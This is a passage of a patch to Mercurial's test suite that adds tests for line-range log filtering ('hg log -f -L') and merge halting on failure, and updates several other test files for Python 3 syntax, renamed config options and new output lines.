+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+With --template.
+
+  $ hg log -f -L foo,5:7 -T '{rev}:{node|short} {desc|firstline}\n'
+  5:cfdf972b3971 foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  4:eaec41c1a0c9 11 -> 11+; leading space before "1"
+  2:63a884426fd0 2 -> 2+; added bar
+  0:5ae1f82b9a00 init
+  $ hg log -f -L foo,5:7 -T json
+  [
+   {
+    "rev": 5,
+    "node": "cfdf972b3971a2a59638bf9583c0debbffee5404",
+    "branch": "default",
+    "phase": "draft",
+    "user": "test",
+    "date": [0, 0],
+    "desc": "foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+",
+    "bookmarks": [],
+    "tags": ["tip"],
+    "parents": ["eaec41c1a0c9ad0a5e999611d0149d171beffb8c"]
+   },
+   {
+    "rev": 4,
+    "node": "eaec41c1a0c9ad0a5e999611d0149d171beffb8c",
+    "branch": "default",
+    "phase": "draft",
+    "user": "test",
+    "date": [0, 0],
+    "desc": "11 -> 11+; leading space before \"1\"",
+    "bookmarks": [],
+    "tags": [],
+    "parents": ["730a61fbaecf426c17c2c66bc42d195b5d5b0ba8"]
+   },
+   {
+    "rev": 2,
+    "node": "63a884426fd0b277fcd55895bbb2f230434576eb",
+    "branch": "default",
+    "phase": "draft",
+    "user": "test",
+    "date": [0, 0],
+    "desc": "2 -> 2+; added bar",
+    "bookmarks": [],
+    "tags": [],
+    "parents": ["29a1e7c6b80024f63f310a2d71de979e9d2996d7"]
+   },
+   {
+    "rev": 0,
+    "node": "5ae1f82b9a000ff1e0967d0dac1c58b9d796e1b4",
+    "branch": "default",
+    "phase": "draft",
+    "user": "test",
+    "date": [0, 0],
+    "desc": "init",
+    "bookmarks": [],
+    "tags": [],
+    "parents": ["0000000000000000000000000000000000000000"]
+   }
+  ]
+
+With some white-space diff option, respective revisions are skipped.
+
+  $ hg log -f -L foo,5:7 -p --config diff.ignorews=true
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+Regular file patterns are not allowed.
+
+  $ hg log -f -L foo,5:7 -p bar
+  abort: FILE arguments are not compatible with --line-range option
+  [255]
+
+Option --rev acts as a restriction.
+
+  $ hg log -f -L foo,5:7 -p -r 'desc(2)'
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+With several -L patterns, changes touching any files in their respective line
+range are show.
+
+  $ hg log -f -L foo,5:7 -L bar,1:2 -p
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/bar b/bar
+  --- a/bar
+  +++ b/bar
+  @@ -1,4 +1,4 @@
+  -a
+  +a+
+   b
+   c
+   d
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/bar b/bar
+  new file mode 100644
+  --- /dev/null
+  +++ b/bar
+  @@ -0,0 +1,5 @@
+  +a
+  +b
+  +c
+  +d
+  +e
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+Multiple -L options with the same file yields changes touching any of
+specified line ranges.
+
+  $ hg log -f -L foo,5:7 -L foo,14:15 -p
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  @@ -12,4 +12,4 @@
+   8
+   9
+   10
+  -11+
+  +11-
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  @@ -12,4 +12,4 @@
+   8
+   9
+   10
+  -11
+  +11+
+  
+  changeset:   3:730a61fbaecf
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     to 11
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -6,3 +6,10 @@
+   2+
+   3
+   4
+  +5
+  +6
+  +7
+  +8
+  +9
+  +10
+  +11
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+A file with a comma in its name.
+
+  $ cat > ba,z << EOF
+  > q
+  > w
+  > e
+  > r
+  > t
+  > y
+  > EOF
+  $ hg ci -Am 'querty'
+  adding ba,z
+  $ cat >> ba,z << EOF
+  > u
+  > i
+  > o
+  > p
+  > EOF
+  $ hg ci -m 'more keys'
+  $ cat > ba,z << EOF
+  > a
+  > z
+  > e
+  > r
+  > t
+  > y
+  > u
+  > i
+  > o
+  > p
+  > EOF
+  $ hg ci -m 'azerty'
+  $ hg log -f -L ba,z,1:2 -p
+  changeset:   8:52373265138b
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     azerty
+  
+  diff --git a/ba,z b/ba,z
+  --- a/ba,z
+  +++ b/ba,z
+  @@ -1,5 +1,5 @@
+  -q
+  -w
+  +a
+  +z
+   e
+   r
+   t
+  
+  changeset:   6:96ba8850f316
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     querty
+  
+  diff --git a/ba,z b/ba,z
+  new file mode 100644
+  --- /dev/null
+  +++ b/ba,z
+  @@ -0,0 +1,6 @@
+  +q
+  +w
+  +e
+  +r
+  +t
+  +y
+  
+
+Exact prefix kinds work in -L options.
+
+  $ mkdir dir
+  $ cd dir
+  $ hg log -f -L path:foo,5:7 -p
+  changeset:   5:cfdf972b3971
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+Renames are followed.
+
+  $ hg mv ../foo baz
+  $ sed 's/1/1+/' baz > baz.new
+  $ mv baz.new baz
+  $ hg ci -m 'foo -> dir/baz; 1-1+'
+  $ hg diff -c .
+  diff --git a/foo b/dir/baz
+  rename from foo
+  rename to dir/baz
+  --- a/foo
+  +++ b/dir/baz
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  - 1
+  + 1+
+   2+
+   3+
+   4
+  @@ -11,5 +11,5 @@
+   7
+   8
+   9
+  -10
+  -11-
+  +1+0
+  +1+1-
+  $ hg log -f -L relpath:baz,5:7 -p
+  changeset:   9:6af29c3a778f
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo -> dir/baz; 1-1+
+  
+  diff --git a/foo b/dir/baz
+  copy from foo
+  copy to dir/baz
+  --- a/foo
+  +++ b/dir/baz
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  - 1
+  + 1+
+   2+
+   3+
+   4
+  
+  changeset:   5:cfdf972b3971
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  
+  changeset:   2:63a884426fd0
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     2 -> 2+; added bar
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -3,6 +3,6 @@
+   0
+   0
+   1
+  -2
+  +2+
+   3
+   4
+  
+  changeset:   0:5ae1f82b9a00
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     init
+  
+  diff --git a/foo b/foo
+  new file mode 100644
+  --- /dev/null
+  +++ b/foo
+  @@ -0,0 +1,5 @@
+  +0
+  +1
+  +2
+  +3
+  +4
+  
+
+Binary files work but without diff hunks filtering.
+(Checking w/ and w/o diff.git option.)
+
+  >>> open('binary', 'w').write('this\nis\na\nbinary\0')
+  $ hg add binary
+  $ hg ci -m 'add a binary file' --quiet
+  $ hg log -f -L binary,1:2 -p
+  changeset:   10:c96381c229df
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     add a binary file
+  
+  diff --git a/dir/binary b/dir/binary
+  new file mode 100644
+  index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..c2e1fbed209fe919b3f189a6a31950e9adf61e45
+  GIT binary patch
+  literal 17
+  Wc$_QA$SmdpqC~Ew%)G>+N(KNlNClYy
+  
+  
+  $ hg log -f -L binary,1:2 -p --config diff.git=false
+  changeset:   10:c96381c229df
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     add a binary file
+  
+  diff -r 6af29c3a778f -r c96381c229df dir/binary
+  Binary file dir/binary has changed
+  
+
+Option --follow is required.
+
+  $ hg log -L foo,5:7
+  abort: --line-range requires --follow
+  [255]
+
+Non-exact pattern kinds are not allowed.
+
+  $ cd ..
+  $ hg log -f -L glob:*a*,1:2
+  hg: parse error: line range pattern 'glob:*a*' must match exactly one file
+  [255]
+
+We get an error for removed files.
+
+  $ hg rm dir/baz
+  $ hg ci -m 'remove baz' --quiet
+  $ hg log -f -L dir/baz,5:7 -p
+  abort: cannot follow file not in parent revision: "dir/baz"
+  [255]
+
+Graph log does work yet.
+
+  $ hg log -f -L dir/baz,5:7 --graph
+  abort: graph not supported with line range patterns
+  [255]
diff --git a/tests/test-log.t b/tests/test-log.t
--- a/tests/test-log.t
+++ b/tests/test-log.t
@@ -15,6 +15,8 @@
   $ hg log -r null -q
   -1:000000000000
 
+  $ cd ..
+
 The g is crafted to have 2 filelog topological heads in a linear
 changeset graph
 
@@ -1700,7 +1702,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
   $ hg log --template='{rev}:{node}\n'
@@ -1793,7 +1795,7 @@
   $ cd problematicencoding
 
   $ $PYTHON > setup.sh <<EOF
-  > print u'''
+  > print(u'''
   > echo a > text
   > hg add text
   > hg --encoding utf-8 commit -u '\u30A2' -m none
@@ -1803,13 +1805,13 @@
   > hg --encoding utf-8 commit -u none -m '\u30A2'
   > echo d > text
   > hg --encoding utf-8 commit -u none -m '\u30C2'
-  > '''.encode('utf-8')
+  > '''.encode('utf-8'))
   > EOF
   $ sh < setup.sh
 
 test in problematic encoding
   $ $PYTHON > test.sh <<EOF
-  > print u'''
+  > print(u'''
   > hg --encoding cp932 log --template '{rev}\\n' -u '\u30A2'
   > echo ====
   > hg --encoding cp932 log --template '{rev}\\n' -u '\u30C2'
@@ -1817,7 +1819,7 @@
   > hg --encoding cp932 log --template '{rev}\\n' -k '\u30A2'
   > echo ====
   > hg --encoding cp932 log --template '{rev}\\n' -k '\u30C2'
-  > '''.encode('cp932')
+  > '''.encode('cp932'))
   > EOF
   $ sh < test.sh
   0
@@ -2027,7 +2029,8 @@
 
   $ cat > ../names.py <<EOF
   > """A small extension to test adding arbitrary names to a repo"""
-  > from mercurial.namespaces import namespace
+  > from __future__ import absolute_import
+  > from mercurial import namespaces
   > 
   > def reposetup(ui, repo):
   >     foo = {'foo': repo[0].node()}
@@ -2035,9 +2038,10 @@
   >     namemap = lambda r, name: foo.get(name)
   >     nodemap = lambda r, node: [name for name, n in foo.iteritems()
   >                                if n == node]
-  >     ns = namespace("bars", templatename="bar", logname="barlog",
-  >                    colorname="barcolor", listnames=names, namemap=namemap,
-  >                    nodemap=nodemap)
+  >     ns = namespaces.namespace(
+  >         "bars", templatename="bar", logname="barlog",
+  >         colorname="barcolor", listnames=names, namemap=namemap,
+  >         nodemap=nodemap)
   > 
   >     repo.names.addnamespace(ns)
   > EOF
@@ -2280,7 +2284,7 @@
   $ hg init issue4490
   $ cd issue4490
   $ echo '[experimental]' >> .hg/hgrc
-  $ echo 'evolution=createmarkers' >> .hg/hgrc
+  $ echo 'evolution.createmarkers=True' >> .hg/hgrc
   $ echo a > a
   $ hg ci -Am0
   adding a
@@ -2298,14 +2302,14 @@
   $ hg up 'head() and not .'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg log -G
-  o  changeset:   4:db815d6d32e6
+  o  changeset:   3:db815d6d32e6
   |  tag:         tip
   |  parent:      0:f7b1eb17ad24
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
   |  summary:     2
   |
-  | @  changeset:   3:9bc8ce7f9356
+  | @  changeset:   2:9bc8ce7f9356
   |/   parent:      0:f7b1eb17ad24
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
@@ -2317,14 +2321,14 @@
      summary:     0
   
   $ hg log -f -G b
-  @  changeset:   3:9bc8ce7f9356
+  @  changeset:   2:9bc8ce7f9356
   |  parent:      0:f7b1eb17ad24
   ~  user:        test
      date:        Thu Jan 01 00:00:00 1970 +0000
      summary:     1
   
   $ hg log -G b
-  @  changeset:   3:9bc8ce7f9356
+  @  changeset:   2:9bc8ce7f9356
   |  parent:      0:f7b1eb17ad24
   ~  user:        test
      date:        Thu Jan 01 00:00:00 1970 +0000
diff --git a/tests/test-logtoprocess.t b/tests/test-logtoprocess.t
--- a/tests/test-logtoprocess.t
+++ b/tests/test-logtoprocess.t
@@ -8,10 +8,15 @@
 
   $ hg init
   $ cat > $TESTTMP/foocommand.py << EOF
+  > from __future__ import absolute_import
   > from mercurial import registrar
-  > from time import sleep
   > cmdtable = {}
   > command = registrar.command(cmdtable)
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > configitem('logtoprocess', 'foo',
+  >     default=None,
+  > )
   > @command(b'foo', [])
   > def foo(ui, repo):
   >     ui.log('foo', 'a message: %(bar)s\n', bar='spam')
@@ -45,9 +50,11 @@
   
   
   
+   (chg !)
   0
   a message: spam
   command
+  command (chg !)
   commandfinish
   foo
   foo
@@ -55,8 +62,11 @@
   foo
   foo exited 0 after * seconds (glob)
   logtoprocess command output:
+  logtoprocess command output: (chg !)
   logtoprocess commandfinish output:
   logtoprocess foo output:
+  serve --cmdserver chgunix * (glob) (chg !)
+  serve --cmdserver chgunix * (glob) (chg !)
   spam
 
 Confirm that logging blocked time catches stdio properly:
diff --git a/tests/test-manifestv2.t b/tests/test-manifestv2.t
--- a/tests/test-manifestv2.t
+++ b/tests/test-manifestv2.t
@@ -26,6 +26,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 0fc9a4fafa44
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd new
diff --git a/tests/test-merge-commit.t b/tests/test-merge-commit.t
--- a/tests/test-merge-commit.t
+++ b/tests/test-merge-commit.t
@@ -104,6 +104,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 2 files (+1 heads)
+  new changesets 2665aaee66e9:0f2ff26688b9
   $ cd b
 
   $ hg up -C 1
diff --git a/tests/test-merge-halt.t b/tests/test-merge-halt.t
new file mode 100644
--- /dev/null
+++ b/tests/test-merge-halt.t
@@ -0,0 +1,164 @@
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > rebase=
+  > [phases]
+  > publish=False
+  > [merge]
+  > EOF
+
+  $ hg init repo
+  $ cd repo
+  $ echo a > a
+  $ echo b > b
+  $ hg commit -qAm ab
+  $ echo c >> a
+  $ echo c >> b
+  $ hg commit -qAm c
+  $ hg up -q ".^"
+  $ echo d >> a
+  $ echo d >> b
+  $ hg commit -qAm d
+
+Testing on-failure=continue
+  $ echo on-failure=continue >> $HGRCPATH
+  $ hg rebase -s 1 -d 2 --tool false
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  merging a failed!
+  merging b failed!
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ hg resolve --list
+  U a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Testing on-failure=halt
+  $ echo on-failure=halt >> $HGRCPATH
+  $ hg rebase -s 1 -d 2 --tool false
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  merging a failed!
+  merge halted after failed merge (see hg resolve)
+  [1]
+
+  $ hg resolve --list
+  U a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Testing on-failure=prompt
+  $ cat <<EOS >> $HGRCPATH
+  > [merge]
+  > on-failure=prompt
+  > [ui]
+  > interactive=1
+  > EOS
+  $ cat <<EOS | hg rebase -s 1 -d 2 --tool false
+  > y
+  > n
+  > EOS
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  merging a failed!
+  continue merge operation (yn)? y
+  merging b failed!
+  continue merge operation (yn)? n
+  merge halted after failed merge (see hg resolve)
+  [1]
+
+  $ hg resolve --list
+  U a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Check that successful tool with failed post-check halts the merge
+  $ cat <<EOS >> $HGRCPATH
+  > [merge-tools]
+  > true.check=changed
+  > EOS
+  $ cat <<EOS | hg rebase -s 1 -d 2 --tool true
+  > y
+  > n
+  > n
+  > EOS
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+   output file a appears unchanged
+  was merge successful (yn)? y
+   output file b appears unchanged
+  was merge successful (yn)? n
+  merging b failed!
+  continue merge operation (yn)? n
+  merge halted after failed merge (see hg resolve)
+  [1]
+
+  $ hg resolve --list
+  R a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Check that conflicts with conflict check also halts the merge
+  $ cat <<EOS >> $HGRCPATH
+  > [merge-tools]
+  > true.check=conflicts
+  > true.premerge=keep
+  > [merge]
+  > on-failure=halt
+  > EOS
+  $ hg rebase -s 1 -d 2 --tool true
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  merging a failed!
+  merge halted after failed merge (see hg resolve)
+  [1]
+
+  $ hg resolve --list
+  U a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Check that always-prompt also can halt the merge
+  $ cat <<EOS | hg rebase -s 1 -d 2 --tool true --config merge-tools.true.check=prompt
+  > y
+  > n
+  > EOS
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  was merge of 'a' successful (yn)? y
+  was merge of 'b' successful (yn)? n
+  merging b failed!
+  merge halted after failed merge (see hg resolve)
+  [1]
+
+  $ hg resolve --list
+  R a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Check that successful tool otherwise allows the merge to continue
+  $ hg rebase -s 1 -d 2 --tool echo --keep --config merge-tools.echo.premerge=keep
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  $TESTTMP/repo/a *a~base* *a~other* (glob)
+  $TESTTMP/repo/b *b~base* *b~other* (glob)
diff --git a/tests/test-merge-local.t b/tests/test-merge-local.t
--- a/tests/test-merge-local.t
+++ b/tests/test-merge-local.t
@@ -110,7 +110,7 @@
 
 Are orig files from the last commit where we want them?
   $ ls .hg/origbackups
-  zzz2_merge_bad.orig
+  zzz2_merge_bad
 
   $ hg diff --nodates | grep "^[+-][^<>]"
   --- a/zzz1_merge_ok
diff --git a/tests/test-merge-subrepos.t b/tests/test-merge-subrepos.t
--- a/tests/test-merge-subrepos.t
+++ b/tests/test-merge-subrepos.t
@@ -60,6 +60,7 @@
   $ hg id --config extensions.blackbox= --config blackbox.dirty=True
   9bfe45a197d7+ tip
   $ cat .hg/blackbox.log
+  * @9bfe45a197d7b0ab09bf287729dd57e9619c9da5+ (*)> serve --cmdserver chgunix * (glob) (chg !)
   * @9bfe45a197d7b0ab09bf287729dd57e9619c9da5+ (*)> id (glob)
   * @9bfe45a197d7b0ab09bf287729dd57e9619c9da5+ (*)> id --config *extensions.blackbox=* --config *blackbox.dirty=True* exited 0 * (glob)
 
diff --git a/tests/test-merge-symlinks.t b/tests/test-merge-symlinks.t
--- a/tests/test-merge-symlinks.t
+++ b/tests/test-merge-symlinks.t
@@ -1,6 +1,8 @@
   $ cat > echo.py <<EOF
   > #!$PYTHON
-  > import os, sys
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > try:
   >     import msvcrt
   >     msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
@@ -9,7 +11,7 @@
   >     pass
   > 
   > for k in ('HG_FILE', 'HG_MY_ISLINK', 'HG_OTHER_ISLINK', 'HG_BASE_ISLINK'):
-  >     print k, os.environ[k]
+  >     print(k, os.environ[k])
   > EOF
 
 Create 2 heads containing the same file, once as
diff --git a/tests/test-merge1.t b/tests/test-merge1.t
--- a/tests/test-merge1.t
+++ b/tests/test-merge1.t
@@ -1,4 +1,5 @@
   $ cat <<EOF > merge
+  > from __future__ import print_function
   > import sys, os
   > 
   > try:
@@ -8,7 +9,7 @@
   > except ImportError:
   >     pass
   > 
-  > print "merging for", os.path.basename(sys.argv[1])
+  > print("merging for", os.path.basename(sys.argv[1]))
   > EOF
   $ HGMERGE="$PYTHON ../merge"; export HGMERGE
 
@@ -29,17 +30,17 @@
 
   $ mkdir b && touch b/nonempty
   $ hg up
-  abort: *: '$TESTTMP/t/b' (glob)
+  b: untracked directory conflicts with file
+  abort: untracked files in working directory differ from files in requested revision
   [255]
   $ hg ci
-  abort: last update was interrupted
-  (use 'hg update' to get a consistent checkout)
-  [255]
+  nothing changed
+  [1]
   $ hg sum
   parent: 0:538afb845929 
    commit #0
   branch: default
-  commit: 1 unknown (interrupted update)
+  commit: 1 unknown (clean)
   update: 1 new changesets (update)
   phases: 2 draft
   $ rm b/nonempty
@@ -339,9 +340,14 @@
 isn't changed on the filesystem (see also issue4583).
 
   $ cat > $TESTTMP/abort.py <<EOF
+  > from __future__ import absolute_import
   > # emulate aborting before "recordupdates()". in this case, files
   > # are changed without updating dirstate
-  > from mercurial import extensions, merge, error
+  > from mercurial import (
+  >   error,
+  >   extensions,
+  >   merge,
+  > )
   > def applyupdates(orig, *args, **kwargs):
   >     orig(*args, **kwargs)
   >     raise error.Abort('intentional aborting')
diff --git a/tests/test-merge10.t b/tests/test-merge10.t
--- a/tests/test-merge10.t
+++ b/tests/test-merge10.t
@@ -33,6 +33,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets cc7000b01af9
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up -C 2
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-merge6.t b/tests/test-merge6.t
--- a/tests/test-merge6.t
+++ b/tests/test-merge6.t
@@ -1,6 +1,6 @@
   $ cat <<EOF > merge
   > import sys, os
-  > print "merging for", os.path.basename(sys.argv[1])
+  > print("merging for", os.path.basename(sys.argv[1]))
   > EOF
   $ HGMERGE="$PYTHON ../merge"; export HGMERGE
 
@@ -41,6 +41,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets b90e70beeb58
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -58,6 +59,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets e1adc944e717
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-merge7.t b/tests/test-merge7.t
--- a/tests/test-merge7.t
+++ b/tests/test-merge7.t
@@ -41,6 +41,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 96b70246a118
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   merging test.txt
@@ -77,6 +78,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 40d11a4173a8
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge --debug
     searching for copies back to rev 1
diff --git a/tests/test-merge8.t b/tests/test-merge8.t
--- a/tests/test-merge8.t
+++ b/tests/test-merge8.t
@@ -22,6 +22,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets e3c9b40284e1:772b37f1ca37
   (run 'hg update' to get a working copy)
   $ hg update
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-mq-eol.t b/tests/test-mq-eol.t
--- a/tests/test-mq-eol.t
+++ b/tests/test-mq-eol.t
@@ -33,7 +33,7 @@
   > for line in file(sys.argv[1], 'rb'):
